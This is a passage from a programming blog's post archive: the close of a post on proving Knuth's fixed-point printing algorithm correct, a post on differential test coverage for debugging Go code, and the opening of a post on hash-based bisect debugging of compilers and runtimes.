12345 5

For binary output, shortest and correctly rounded are one and the same; not so in other bases. As an aside, Taranto’s forcing of the low bit to 1 mishandles the corner case $f = 0$ . Knuth’s updated condition fixes that case, but it doesn’t correctly round other cases. All that said, Knuth’s exercise did not ask for correct rounding, so the answer is still correct for the exercise.

Guy L. Steele and Jon L. White, working in the 1970s on fixed-point and floating-point formatting, consulted Knuth’s first edition and adapted this answer to round correctly. They wrote a paper with their new algorithms, both for the fixed-point case we are considering and for the more general case of floating-point numbers. That paper presents a correctly-rounding extension of Knuth’s first edition answer as the algorithm ‘(FP)³’. The change is tiny: replace $f \geq 1 - ε$ with $f \geq ½$ .

op shortest f =
    ε = 2**-17
    d = 0
    p = 0
    :while (ε < f) and (f < 1-ε)
        f = 10 * f
        d = (10 * d) + floor f
        f = f mod 1
        ε = 10 * ε
        p = p + 1
    :end
    :if f >= 1/2
        d = d + 1
    :end
    d (1 max p)

check 'Steele and White (FP)³'
-- out --
✅ Steele and White (FP)³

In the paper, Steele and White described the (FP)³ algorithm as “a generalization of the one presented by Taranto [Taranto59] and mentioned in exercise 4.4.3 of [Knuth69].” They shared the paper with Knuth while he was working on the second edition of Volume 2. In response, Knuth changed the exercise to ask for a “rounded radix $B$ equivalent” (my emphasis), updated the answer to use the new fix-up condition, removed the unnecessary overflow check, and cited Steele and White’s unpublished paper. Knuth introduced the revised answer by saying, “The following procedure due to G. L. Steele Jr. and Jon L. White generalizes Taranto’s algorithm for $B = 2$ originally published in CACM 2, 7 (July 1959), 27.” The attribution ‘due to [Steele and White]’ omits Knuth’s own substantial contributions to the generalization effort.

Steele and White published their paper in 1990, and Knuth cited it in the third edition of Volume 2 (preface dated July 1997). At first glance, this seems to create a circular reference in which both works credit the other for the algorithm, like a self-justifying out-of-thin-air value. The cycle is broken by noticing that Steele and White carefully cite the first edition of Volume 2.

In 1984, as Knuth was writing TeX82 and needed code to implement this conversion, the second edition had just been published a few years earlier. So why did Knuth invent a new variant of Taranto’s algorithm instead of using the one he put in Volume 2? I find it comforting to imagine that he made the same mistake we’ve all made at one time or another: perhaps Knuth simply forgot to check Knuth.

But probably not. Knuth’s “Simple Program” paper names Steele and White and cites the answer to exercise 4.4-3. The wording of the citation suggests that Knuth did not consider it an answer to his question “Is there a better program?” Why not? I don’t know, but we just saw that it does work. I plan to send Knuth a letter to ask.

(Detour sign photos by Don Knuth.)

Conclusion

This post shows what I think is a better way to prove the correctness of Knuth’s P2, as well as a few candidates for better programs. More generally, I think the post illustrates that the capabilities of our programming tools affect the programs we write with them and how easy it is to prove those programs correct.

If you are programming a 32-bit computer in the 1980s using a Pascal-like language in which division is expensive, it makes perfect sense to compute one digit at a time in a loop as Knuth did in P2. Going back even further, the iterative digit-at-a-time approach made sense on Von Neumann’s computer in the 1940s (see p. 53). Today, a language with arbitrary precision rationals makes it easy to write simpler programs.

The choice of language also affects the difficulty of the proof. Using Ivy made it natural to break the proof into pieces. We started with a simple proof of a nearly trivial program. Then we proved the correctness of the “truncated max” version. Finally we proved the correctness of collecting digits one at a time. It was easier to write three small proofs than one large proof. Ivy also made it easy to isolate the complexity of premultiplication by $10^{p}$ and scaling by $2^{16}$ ; we were able to treat those steps as optimizations instead of fundamental aspects of the program and proofs. Now that we know the path, we could write a direct proof of P2 along these lines. But I wouldn’t have seen the path without having a capable language like Ivy to light the way.

It is also worth noting how the capabilities of our programming tools affect our perception of what is important in our programs. After writing his 1989 paper, Knuth optimized ‘s := s + 32768 − (t div 2)’ in the production version of TeX to ‘s := s − 17232’, because at that point t is always 100000. On the IBM 650 at Case Institute of Technology where Knuth got his start (and to which he dedicated his The Art of Computer Programming books), removing a division and an addition might have been important. In 1989, however, a good compiler would have optimized ‘t div 2’ to a shift, and the shift and add would hardly matter compared to the eight multiplications that preceded them, not to mention the I/O to print the result, and the code was probably clearer the first way. But old habits die hard for all of us. I spent my formative years programming 32-bit systems, and I have not broken my old habit of worrying about ‘32-bit safety’, as evidenced by the discussion above!

Knuth wrote in his paper that “we seek a proof that is comprehensible and educational” and then added:

Even more, we seek a proof that reflects the ideas used to create the program, rather than a proof that was concocted ex post facto. The program didn’t emerge by itself from a vacuum, nor did I simply try all possible short programs until I found one that worked.

This post is almost certainly not the proof Knuth sought. On the other hand, I hope that it is comprehensible and educational. Also, Taranto’s short article doesn’t include any proof at all, nor even an explanation of how it works. If I had to prove Taranto’s algorithm correct, I would probably proceed as in the initial part of this post. Then, if you accept Taranto’s algorithm as correct, the main changes on the way to P2 are to nudge $f$ up to $𝑚𝑎𝑥$ at the start and then nudge it back down on the final iteration. The Truncating Lemma and the Digit Collection Lemma prove the correctness of those changes. Maybe that does match what Knuth had in mind in 1984 when he adapted Taranto’s algorithm. Maybe the difficulty arose from having to prove Taranto’s algorithm correct simultaneously. This post’s incremental approach avoids that complication.

In any event, Happy 88th Birthday Don!

P.S. This is my first blog post using my blog’s new support for embedding Ivy code and for typesetting equations. For the latter, I write TeX syntax like inline `$s ≤ t$` or fenced ```eqn blocks. A new TeX macro parser that I wrote executes the TeX input and translates the expanded output to MathML Core, which all the major browsers now support. It is only fitting that this is the first post to use the new TeX-derived mathematical typesetting.

Floating Point Formatting

2026-01-10T08:00:00-05:00

These are the posts in the “Floating Point Formatting” series, which started in 2011 and continued in 2026.

“Floating Point to Decimal Conversion is Easy” (2011)
“Pulling a New Proof from Knuth’s Fixed-Point Printer” (2026)
“Floating-Point Printing and Parsing Can Be Simple And Fast” (2026)
“Fast Unrounded Scaling: Proof by Ivy” (2026)

Differential Coverage for Debugging

2025-04-25T11:40:00-04:00

I have been debugging some code I did not write and was reminded of this technique. I’m sure it’s a very old debugging technique (like bisection), but it should be more widely known. Suppose you have one test case that’s failing. You can get a sense of what code might be involved by comparing the code coverage of successful tests with the code coverage of the failing test.

For example, I’ve inserted a bug into my development copy of math/big:

$ go test
--- FAIL: TestAddSub (0.00s)
    int_test.go:2020: addSub(-0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) = -0x0, -0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe, want 0x0, -0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe
FAIL
exit status 1
FAIL	math/big	7.528s
$

Let’s collect a passing and failing profile:

$ go test -coverprofile=c1.prof -skip='TestAddSub$'
PASS
coverage: 85.0% of statements
ok  	math/big	8.373s
% go test -coverprofile=c2.prof -run='TestAddSub$'
--- FAIL: TestAddSub (0.00s)
    int_test.go:2020: addSub(-0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) = -0x0, -0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe, want 0x0, -0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe
FAIL
coverage: 4.7% of statements
exit status 1
FAIL	math/big	0.789s
$

Now we can diff them to make a profile showing what’s unique about the failing test:

$ (head -1 c1.prof; diff c[12].prof | sed -n 's/^> //p') >c3.prof
$ go tool cover -html=c3.prof

The head -1 is preserving the one-line coverage profile header. The diff | sed saves only the lines unique to the failing test’s profile, and the go tool cover -html opens the profile in a web browser.

In the resulting profile, “covered” (green) means it ran in the failing test but not the passing ones, making it something to take a closer look at. Looking at the file list, only natmul.go has a non-zero coverage percentage, meaning it contains lines that are unique to the failing test.

If we open natmul.go, we can see various lines in red (“uncovered”).

These lines ran in passing tests but not in the failing test. They are exonerated, although the fact that the lines normally run but were skipped in the failing test may prompt useful questions about what logic led to them being skipped. In this case, it’s just that the test does not exercise them: the nat.mul method has not been called at all.

Scrolling down, we find the one section of green.

This code is where I inserted the bug: the else branch is missing za.neg = false, producing the -0x0 in the test failure. Differential coverage is cheap to compute and display, and when it’s right, it can save a lot of time. Out of over 15,000 lines of code, differential coverage identified 10, including the two relevant ones.

Of course, this technique is not foolproof: a passing test can still execute buggy code if the bug is data-dependent, or if the test is not sensitive to the specific mistake in the code. But a lot of the time, buggy code only triggers failures. In those cases, differential coverage pinpoints the code blocks that merit a closer look.

You can see the full profile here.

A simpler but still useful technique is to view the basic coverage profile for a single failing test. That gives you an accurate picture of which sections of code ran in the test, which can guide your debugging: code that didn’t run is not the problem. And if you are confused about how exactly a particular function returned an error, the coverage pinpoints the exact error line. In the example above, the failing test covered only 4.7% of the code.

Differential coverage also works for passing tests. Want to find the code that implements the SOCK5 proxy in net/http?

$ go test -short -skip=SOCKS5 -coverprofile=c1.prof net/http
$ go test -short -run=SOCKS5 -coverprofile=c2.prof net/http
$ (head -1 c1.prof; diff c[12].prof | sed -n 's/^> //p') >c3.prof
$ go tool cover -html=c3.prof

Have fun!

Hash-Based Bisect Debugging in Compilers and Runtimes

2024-07-18T10:18:53-04:00

Setting the Stage

Does this sound familar? You make a change to a library to optimize its performance or clean up technical debt or fix a bug, only to get a bug report: some very large, incomprehensibly opaque test is now failing. Or you add a new compiler optimization with a similar result. Now you have a major debugging job in an unfamiliar code base.

What if I told you that a magic wand exists that can pinpoint the relevant line of code or call stack in that unfamiliar code base? It exists. It is a real tool, and I’m going to show it to you. This description might seem a bit over the top, but every time I use this tool, it really does feel like magic. Not just any magic either, but the best kind of magic: delightful to watch even when you know exactly how it works.

Binary Search and Bisecting Data

Before we get to the new trick, let’s take a look at some simpler, older tricks. Every good magician starts with mastery of the basic techniques. In our case, that technique is binary search. Most presentations of binary search talk about finding an item in a sorted list, but there are far more interesting uses. Here is an example I wrote long ago for Go’s sort.Search documentation:

func GuessingGame() {
    var s string
    fmt.Printf("Pick an integer from 0 to 100.\n")
    answer := sort.Search(100, func(i int) bool {
        fmt.Printf("Is your number <= %d? ", i)
        fmt.Scanf("%s", &s)
        return s != "" && s[0] == 'y'
    })
    fmt.Printf("Your number is %d.\n", answer)
}

If we run this code, it plays a guessing game with us:

% go run guess.go
Pick an integer from 0 to 100.
Is your number <= 50? y
Is your number <= 25? n
Is your number <= 38? y
Is your number <= 32? y
Is your number <= 29? n
Is your number <= 31? n
Your number is 32.
%

The same guessing game can be applied to debugging. In his Programming Pearls column titled “Aha! Algorithms” in Communications of the ACM (September 1983), Jon Bentley called binary search “a solution that looks for problems.” Here’s one of his examples:

Roy Weil applied the technique [binary search] in cleaning a deck of about a thousand punched cards that contained a single bad card. Unfortunately the bad card wasn’t known by sight; it could only be identified by running some subset of the cards through a program and seeing a wildly erroneous answer—this process took several minutes. His predecessors at the task tried to solve it by running a few cards at a time through the program, and were making steady (but slow) progress toward a solution. How did Weil find the culprit in just ten runs of the program?

Obviously, Weil played the guessing game using binary search. Is the bad card in the first 500? Yes. The first 250? No. And so on. This is the earliest published description of debugging by binary search that I have been able to find. In this case, it was for debugging data.

Bisecting Version History

We can apply binary search to a program’s version history instead of data. Every time we notice a new bug in an old program, we play the guessing game “when did this program last work?”

Did it work 50 days ago? Yes.
Did it work 25 days ago? No.
Did it work 38 days ago? Yes.

And so on, until we find that the program last worked correctly 32 days ago, meaning the bug was introduced 31 days ago.

Debugging through time with binary search is a very old trick, independently discovered many times by many people. For example, we could play the guessing game using commands like cvs checkout -D '31 days ago' or Plan 9’s more musical yesterday -n 31. To some programmers, the techniques of using binary search to debug data or debug through time seem “so basic that there is no need to write them down.” But writing a trick down is the first step to making sure everyone can do it: magic tricks can be basic but not obvious. In software, writing a trick down is also the first step to automating it and building good tools.

In the late-1990s, the idea of binary search over version history was written down at least twice. Brian Ness and Viet Ngo published “Regression containment through source change isolation” at COMPSAC ’97 (August 1997) describing a system built at Cray Research that they used to deliver much more frequent non-regressing compiler releases. Independently, Larry McVoy published a file “Documentation/BUG-HUNTING” in the Linux 1.3.73 release (March 1996). He captured how magical it feels that the trick works even if you have no particular expertise in the code being tested:

This is how to track down a bug if you know nothing about kernel hacking. It’s a brute force approach but it works pretty well.

You need:

A reproducible bug - it has to happen predictably (sorry)
All the kernel tar files from a revision that worked to the revision that doesn’t

You will then do:

Rebuild a revision that you believe works, install, and verify that.
Do a binary search over the kernels to figure out which one introduced the bug. I.e., suppose 1.3.28 didn’t have the bug, but you know that 1.3.69 does. Pick a kernel in the middle and build that, like 1.3.50. Build & test; if it works, pick the mid point between .50 and .69, else the mid point between .28 and .50.
You’ll narrow it down to the kernel that introduced the bug. You can probably do better than this but it gets tricky.

. . .

My apologies to Linus and the other kernel hackers for describing this brute force approach, it’s hardly what a kernel hacker would do. However, it does work and it lets non-hackers help bug fix. And it is cool because Linux snapshots will let you do this - something that you can’t do with vender supplied releases.

Later, Larry McVoy created Bitkeeper, which Linux used as its first source control system. Bitkeeper provided a way to print the longest straight line of changes through the directed acyclic graph of commits, providing a more fine-grained timeline for binary search. When Linus Torvalds created Git, he carried that idea forward as git rev-list --bisect, which enabled the same kind of manual binary search. A few days after adding it, he explained how to use it on the Linux kernel mailing list:

Hmm.. Since you seem to be a git user, maybe you could try the git "bisect" thing to help narrow down exactly where this happened (and help test that thing too ;).

You can basically use git to find the half-way point between a set of "known good" points and a "known bad" point ("bisecting" the set of commits), and doing just a few of those should give us a much better view of where things started going wrong.

For example, since you know that 2.6.12-rc3 is good, and 2.6.12 is bad, you’d do

git-rev-list --bisect v2.6.12 ^v2.6.12-rc3

where the "v2.6.12 ^v2.6.12-rc3" thing basically means "everything in v2.6.12 but _not_ in v2.6.12-rc3" (that’s what the ^ marks), and the "--bisect" flag just asks git-rev-list to list the middle-most commit, rather than all the commits in between those kernel versions.

This response started a separate discussion about making the process easier, which led eventually to the git bisect tool that exists today.

Here’s an example. We tried updating to a newer version of Go and found that a test fails. We can use git bisect to pinpoint the specific commit that caused the failure:

% git bisect start master go1.21.0
Previous HEAD position was 3b8b550a35 doc: document run..
Switched to branch 'master'
Your branch is ahead of 'origin/master' by 5 commits.
Bisecting: a merge base must be tested
[2639a17f146cc7df0778298c6039156d7ca68202] doc: run rel...
% git bisect run sh -c '
    git clean -df
    cd src
    ./make.bash || exit 125
    cd $HOME/src/rsc.io/tmp/timertest/retry
    go list || exit 0
    go test -count=5
'

It takes some care to write a correct git bisect invocation, but once you get it right, you can walk away while git bisect works its magic. In this case, the script we pass to git bisect run cleans out any stale files and then builds the Go toolchain (./make.bash). If that step fails, it exits with code 125, a special inconclusive answer for git bisect: something else is wrong with this commit and we can’t say whether or not the bug we’re looking for is present. Otherwise it changes into the directory of the failing test. If go list fails, which happens if the bisect uses a version of Go that’s too old, the script exits successfully, indicating that the bug is not present. Otherwise the script runs go test and exits with the status from that command. The -count=5 is there because this is a flaky failure that does not always happen: running five times is enough to make sure we observe the bug if it is present.

When we run this command, git bisect prints a lot of output, along with the output of our test script, to make sure we can see the progress:

% git bisect run ...
...
go: download go1.23 for darwin/arm64: toolchain not available
Bisecting: 1360 revisions left to test after this (roughly 10 steps)
[752379113b7c3e2170f790ec8b26d590defc71d1]
    runtime/race: update race syso for PPC64LE
...
go: download go1.23 for darwin/arm64: toolchain not available
Bisecting: 680 revisions left to test after this (roughly 9 steps)
[ff8a2c0ad982ed96aeac42f0c825219752e5d2f6]
    go/types: generate mono.go from types2 source
...
ok      rsc.io/tmp/timertest/retry  10.142s
Bisecting: 340 revisions left to test after this (roughly 8 steps)
[97f1b76b4ba3072ab50d0d248fdce56e73b45baf]
    runtime: optimize timers.cleanHead
...
FAIL    rsc.io/tmp/timertest/retry  22.136s
Bisecting: 169 revisions left to test after this (roughly 7 steps)
[80157f4cff014abb418004c0892f4fe48ee8db2e]
    io: close PipeReader in test
...
ok      rsc.io/tmp/timertest/retry  10.145s
Bisecting: 84 revisions left to test after this (roughly 6 steps)
[8f7df2256e271c8d8d170791c6cd90ba9cc69f5e]
    internal/asan: match runtime.asan{read,write} len parameter type
...
FAIL    rsc.io/tmp/timertest/retry  20.148s
Bisecting: 42 revisions left to test after this (roughly 5 steps)
[c9ed561db438ba413ba8cfac0c292a615bda45a8]
    debug/elf: avoid using binary.Read() in NewFile()
...
FAIL    rsc.io/tmp/timertest/retry  14.146s
Bisecting: 20 revisions left to test after this (roughly 4 steps)
[2965dc989530e1f52d80408503be24ad2582871b]
    runtime: fix lost sleep causing TestZeroTimer flakes
...
FAIL    rsc.io/tmp/timertest/retry  18.152s
Bisecting: 10 revisions left to test after this (roughly 3 steps)
[b2e9221089f37400f309637b205f21af7dcb063b]
    runtime: fix another lock ordering problem
...
ok      rsc.io/tmp/timertest/retry  10.142s
Bisecting: 5 revisions left to test after this (roughly 3 steps)
[418e6d559e80e9d53e4a4c94656e8fb4bf72b343]
    os,internal/godebugs: add missing IncNonDefault calls
...
ok      rsc.io/tmp/timertest/retry  10.163s
Bisecting: 2 revisions left to test after this (roughly 2 steps)
[6133c1e4e202af2b2a6d4873d5a28ea3438e5554]
    internal/trace/v2: support old trace format
...
FAIL    rsc.io/tmp/timertest/retry  22.164s
Bisecting: 0 revisions left to test after this (roughly 1 step)
[508bb17edd04479622fad263cd702deac1c49157]
    time: garbage collect unstopped Tickers and Timers
...
FAIL    rsc.io/tmp/timertest/retry  16.159s
Bisecting: 0 revisions left to test after this (roughly 0 steps)
[74a0e3160d969fac27a65cd79a76214f6d1abbf5]
    time: clean up benchmarks
...
ok      rsc.io/tmp/timertest/retry  10.147s
508bb17edd04479622fad263cd702deac1c49157 is the first bad commit
commit 508bb17edd04479622fad263cd702deac1c49157
Author:     Russ Cox <rsc@golang.org>
AuthorDate: Wed Feb 14 20:36:47 2024 -0500
Commit:     Russ Cox <rsc@golang.org>
CommitDate: Wed Mar 13 21:36:04 2024 +0000

    time: garbage collect unstopped Tickers and Timers
    ...
    This CL adds an undocumented GODEBUG asynctimerchan=1
    that will disable the change. The documentation happens in
    the CL 568341.
    ...

bisect found first bad commit
%

This bug appears to be caused by my new garbage-collection-friendly timer implementation that will be in Go 1.23. Abracadabra!

A New Trick: Bisecting Program Locations

The culprit commit that git bisect identified is a significant change to the timer implementation. I anticipated that it might cause subtle test failures, so I included a GODEBUG setting to toggle between the old implementation and the new one. Sure enough, toggling it makes the bug disappear:

% GODEBUG=asynctimerchan=1 go test -count=5 # old
PASS
ok      rsc.io/tmp/timertest/retry  10.117s
% GODEBUG=asynctimerchan=0 go test -count=5 # new
--- FAIL: TestDo (4.00s)
    ...
--- FAIL: TestDo (6.00s)
    ...
--- FAIL: TestDo (4.00s)
    ...
FAIL    rsc.io/tmp/timertest/retry  18.133s
%

Knowing which commit caused a bug, along with minimal information about the failure, is often enough to help identify the mistake. But what if it’s not? What if the test is large and complicated and entirely code you’ve never seen before, and it fails in some inscrutable way that doesn’t seem to have anything to do with your change? When you work on compilers or low-level libraries, this happens quite often. For that, we have a new magic trick: bisecting program locations.

That is, we can run binary search on a different axis: over the program’s code, not its version history. We’ve implemented this search in a new tool unimaginatively named bisect. When applied to library function behavior like the timer change, bisect can search over all stack traces leading to the new code, enabling the new code for some stacks and disabling it for others. By repeated execution, it can narrow the failure down to enabling the code only for one specific stack:

% go install golang.org/x/tools/cmd/bisect@latest
% bisect -godebug asynctimerchan=1 go test -count=5
...
bisect: FOUND failing change set
--- change set #1 (disabling changes causes failure)
internal/godebug.(*Setting).Value()
    /Users/rsc/go/src/internal/godebug/godebug.go:165
time.syncTimer()
    /Users/rsc/go/src/time/sleep.go:25
time.NewTimer()
    /Users/rsc/go/src/time/sleep.go:145
time.After()
    /Users/rsc/go/src/time/sleep.go:203
rsc.io/tmp/timertest/retry.Do()
    /Users/rsc/src/rsc.io/tmp/timertest/retry/retry.go:37
rsc.io/tmp/timertest/retry.TestDo()
    /Users/rsc/src/rsc.io/tmp/timertest/retry/retry_test.go:63

Here the bisect tool is reporting that disabling asynctimerchan=1 (that is, enabling the new implementation) only for this one call stack suffices to provoke the test failure.

One of the hardest things about debugging is running a program backward: there’s a data structure with a bad value, or the control flow has zigged instead of zagged, and it’s very difficult to understand how it could have gotten into that state. In contrast, this bisect tool is showing the stack at the moment just before things go wrong: the stack identifies the critical decision point that determines whether the test passes or fails. In contrast to puzzling backward, it is usually easy to look forward in the program execution to understand why this specific decision would matter. Also, in an enormous code base, the bisection has identified the specific few lines where we should start debugging. We can read the code responsible for that specific sequence of calls and look into why the new timers would change the code’s behavior.

When you are working on a compiler or runtime and cause a test failure in an enormous, unfamiliar code base, and then this bisect tool narrows down the cause to a few specific lines of code, it is truly a magical experience.

The rest of this post explains the inner workings of this bisect tool, which Keith Randall, David Chase, and I developed and refined over the past decade of work on Go. Other people and projects have realized the idea of bisecting program locations too: I am not claiming that we were the first to discover it. However, I think we have developed the approach further and systematized it more than others. This post documents what we’ve learned, so that others can build on our efforts rather than rediscover them.

Example: Bisecting Function Optimization

Let’s start with a simple example and work back up to stack traces. Suppose we are working on a compiler and know that a test program fails only when compiled with optimizations enabled. We could make a list of all the functions in the program and then try disabling optimization of functions one at a time until we find a minimal set of functions (probably just one) whose optimization triggers the bug. Unsurprisingly, we can speed up that process using binary search:

Change the compiler to print a list of every function it considers for optimization.
Change the compiler to accept a list of functions where optimization is allowed. Passing it an empty list (optimize no functions) should make the test pass, while passing the complete list (optimize all functions) should make the test fail.
Use binary search to determine the shortest list prefix that can be passed to the compiler to make the test fail. The last function in that list prefix is one that must be optimized for the test to fail (but perhaps not the only one).
Forcing that function to always be optimized, we can repeat the process to find any other functions that must also be optimized to provoke the bug.

For example, suppose there are ten functions in the program and we run these three binary search trials:

When we optimize the first 5 functions, the test passes. 7? fail. 6? still pass. This tells us that the seventh function, sin, is one function that must be optimized to provoke the failure. More precisely, with sin optimized, we know that no functions later in the list need to be optimized, but we don’t know whether any of functions earlier in the list must also be optimized. To check the earlier locations, we can run another binary search over the other remaining six list entries, always adding sin as well:

This time, optimizing the first two (plus the hard-wired sin) fails, but optimizing the first one passes, indicating that cos must also be optimized. Then we have just one suspect location left: add. A binary search over that one-entry list (plus the two hard-wired cos and sin) shows that add can be left off the list without losing the failure.

Now we know the answer: one locally minimal set of functions to optimize to cause the test failure is cos and sin. By locally minimal, I mean that removing any function from the set makes the test failure disappear: optimizing cos or sin by itself is not enough. However, the set may still not be globally minimal: perhaps optimizing only tan would cause a different failure (or not).

It might be tempting to run the search more like a traditional binary search, cutting the list being searched in half at each step. That is, after confirming that the program passes when optimizing the first half, we might consider discarding that half of the list and continuing the binary search on the other half. Applied to our example, that algorithm would run like this:

The first trial passing would suggest the incorrect optimization is in the second half of the list, so we discard the first half. But now cos is never optimized (it just got discarded), so all future trials pass too, leading to a contradiction: we lost track of the way to make the program fail. The problem is that discarding part of the list is only justified if we know that part doesn’t matter. That’s only true if the bug is caused by optimizing a single function, which may be likely but is not guaranteed. If the bug only manifests when optimizing multiple functions at once, discarding half the list discards the failure. That’s why the binary search must in general be over list prefix lengths, not list subsections.

Bisect-Reduce

The “repeated binary search” algorithm we just looked at does work, but the need for the repetition suggests that binary search may not be the right core algorithm. Here is a more direct algorithm, which I’ll call the “bisect-reduce” algorithm, since it is a bisection-based reduction.

For simplicity, let’s assume we have a global function buggy that reports whether the bug is triggered when our change is enabled at the given list of locations:

// buggy reports whether the bug is triggered
// by enabling the change at the listed locations.
func buggy(locations []string) bool

BisectReduce takes a single input list targets for which buggy(targets) is true and returns a locally minimal subset x for which buggy(x) remains true. It invokes a more generalized helper bisect, which takes an additional argument: a forced list of locations to keep enabled during the reduction.

// BisectReduce returns a locally minimal subset x of targets
// where buggy(x) is true, assuming that buggy(targets) is true.
func BisectReduce(targets []string) []string {
    return bisect(targets, []string{})
}

// bisect returns a locally minimal subset x of targets
// where buggy(x+forced) is true, assuming that
// buggy(targets+forced) is true.
//
// Precondition: buggy(targets+forced) = true.
//
// Postcondition: buggy(result+forced) = true,
// and buggy(x+forced) = false for any x ⊂ result.
func bisect(targets []string, forced []string) []string {
    if len(targets) == 0 || buggy(forced) {
        // Targets are not needed at all.
        return []string{}
    }
    if len(targets) == 1 {
        // Reduced list to a single required entry.
        return []string{targets[0]}
    }

    // Split targets in half and reduce each side separately.
    m := len(targets)/2
    left, right := targets[:m], targets[m:]
    leftReduced := bisect(left, slices.Concat(right, forced))
    rightReduced := bisect(right, slices.Concat(leftReduced, forced))
    return slices.Concat(leftReduced, rightReduced)
}

Like any good divide-and-conquer algorithm, a few lines do quite a lot:

If the target list has been reduced to nothing, or if buggy(forced) (without any targets) is true, then we can return an empty list. Otherwise we know something from targets is needed.
If the target list is a single entry, that entry is what’s needed: we can return a single-element list.
Otherwise, the recursive case: split the target list in half and reduce each side separately. Note that it is important to force leftReduced (not left) while reducing right.

Applied to the function optimization example, BisectReduce would end up at a call to

bisect([add cos div exp mod mul sin sqr sub tan], [])

which would split the targets list into

left = [add cos div exp mod]
right = [mul sin sqr sub tan]

The recursive calls compute:

bisect([add cos div exp mod], [mul sin sqr sub tan]) = [cos]
bisect([mul sin sqr sub tan], [cos]) = [sin]

Then the return puts the two halves together: [cos sin].

The version of BisectReduce we have been considering is the shortest one I know; let’s call it the “short algorithm”. A longer version handles the “easy” case of the bug being contained in one half before the “hard” one of needing parts of both halves. Let’s call it the “easy/hard algorithm”:

// BisectReduce returns a locally minimal subset x of targets
// where buggy(x) is true, assuming that buggy(targets) is true.
func BisectReduce(targets []string) []string {
    if len(targets) == 0 || buggy(nil) {
        return nil
    }
    return bisect(targets, []string{})
}

// bisect returns a locally minimal subset x of targets
// where buggy(x+forced) is true, assuming that
// buggy(targets+forced) is true.
//
// Precondition: buggy(targets+forced) = true,
// and buggy(forced) = false.
//
// Postcondition: buggy(result+forced) = true,
// and buggy(x+forced) = false for any x ⊂ result.
// Also, if there are any valid single-element results,
// then bisect returns one of them.
func bisect(targets []string, forced []string) []string {
    if len(targets) == 1 {
        // Reduced list to a single required entry.
        return []string{targets[0]}
    }

    // Split targets in half.
    m := len(targets)/2
    left, right := targets[:m], targets[m:]

    // If either half is sufficient by itself, focus there.
    if buggy(slices.Concat(left, forced)) {
        return bisect(left, forced)
    }
    if buggy(slices.Concat(right, forced)) {
        return bisect(right, forced)
    }

    // Otherwise need parts of both halves.
    leftReduced := bisect(left, slices.Concat(right, forced))
    rightReduced := bisect(right, slices.Concat(leftReduced, forced))
    return slices.Concat(leftReduced, rightReduced)
}

The easy/hard algorithm has two benefits and one drawback compared to the short algorithm.

One benefit is that the easy/hard algorithm more directly maps to our intuitions about what bisecting should do: try one side, try the other, fall back to some combination of both sides. In contrast, the short algorithm always relies on the general case and is harder to understand.

Another benefit of the easy/hard algorithm is that it guarantees to find a single-culprit answer when one exists. Since most bugs can be reduced to a single culprit, guaranteeing to find one when one exists makes for easier debugging sessions. Supposing that optimizing tan would have triggered the test failure, the easy/hard algorithm would try

buggy([add cos div exp mod]) = false // left
buggy([mul sin sqr sub tan]) = true  // right

and then would discard the left side, focusing on the right side and eventually finding [tan], instead of [sin cos].

The drawback is that because the easy/hard algorithm doesn’t often rely on the general case, the general case needs more careful testing and is easier to get wrong without noticing. For example, Andreas Zeller’s 1999 paper “Yesterday, my program worked. Today, it does not. Why?” gives what should be the easy/hard version of the bisect-reduce algorithm as a way to bisect over independent program changes, except that the algorithm has a bug: in the “hard” case, the right bisection forces left instead of leftReduced. The result is that if there are two culprit pairs crossing the left/right boundary, the reductions can choose one culprit from each pair instead of a matched pair. Simple test cases are all handled by the easy case, masking the bug. In contrast, if we insert the same bug into the general case of the short algorithm, very simple test cases fail.

Real implementations are better served by the easy/hard algorithm, but they must take care to implement it correctly.

List-Based Bisect-Reduce

Having established the algorithm, let’s now turn to the details of hooking it up to a compiler. Exactly how do we obtain the list of source locations, and how do we feed it back into the compiler?

The most direct answer is to implement one debug mode that prints the full list of locations for the optimization in question and another debug mode that accepts a list indicating where the optimization is permitted. Meta’s Cinder JIT for Python, published in 2021, takes this approach for deciding which functions to compile with the JIT (as opposed to interpret). Its Tools/scripts/jitlist_bisect.py is the earliest correct published version of the bisect-reduce algorithm that I’m aware of, using the easy/hard form.

The only downside to this approach is the potential size of the lists, especially since bisect debugging is critical for reducing failures in very large programs. If there is some way to reduce the amount of data that must be sent back to the compiler on each iteration, that would be helpful. In complex build systems, the function lists may be too large to pass on the command line or in an environment variable, and it may be difficult or even impossible to arrange for a new input file to be passed to every compiler invocation. An approach that can specify the target list as a short command line argument will be easier to use in practice.

Counter-Based Bisect-Reduce

Java’s HotSpot C2 just-in-time (JIT) compiler provided a debug mechanism to control which functions to compile with the JIT, but instead of using an explicit list of functions like in Cinder, HotSpot numbered the functions as it considered them. The compiler flags -XX:CIStart and -XX:CIStop set the range of function numbers that were eligible to be compiled. Those flags are still present today (in debug builds), and you can find uses of them in Java bug reports dating back at least to early 2000.

There are at least two limitations to numbering functions.

The first limitation is minor and easily fixed: allowing only a single contiguous range enables binary search for a single culprit but not the general bisect-reduce for multiple culprits. To enable bisect-reduce, it would suffice to accept a list of integer ranges, like -XX:CIAllow=1-5,7-10,12,15.

The second limitation is more serious: it can be difficult to keep the numbering stable from run to run. Implementation strategies like compiling functions in parallel might mean considering functions in varying orders based on thread interleaving. In the context of a JIT, even threaded runtime execution might change the order that functions are considered for compilation. Twenty-five years ago, threads were rarely used and this limitation may not have been much of a problem. Today, assuming a consistent function numbering is a show-stopper.

Hash-Based Bisect-Reduce

A different way to keep the location list implicit is to hash each location to a (random-looking) integer and then use bit suffixes to identify sets of locations. The hash computation does not depend on the sequence in which the source locations are encountered, making hashing compatible with parallel compilation, thread interleaving, and so on. The hashes effectively arrange the functions into a binary tree:

Looking for a single culprit is a basic walk down the tree. Even better, the general bisect-reduce algorithm is easily adapted to hash suffix patterns. First we have to adjust the definition of buggy: we need it to tell us the number of matches for the suffix we are considering, so we know whether we can stop reducing the case:

// buggy reports whether the bug is triggered
// by enabling the change at the locations with
// hashes ending in suffix or any of the extra suffixes.
// It also returns the number of locations found that
// end in suffix (only suffix, ignoring extra).
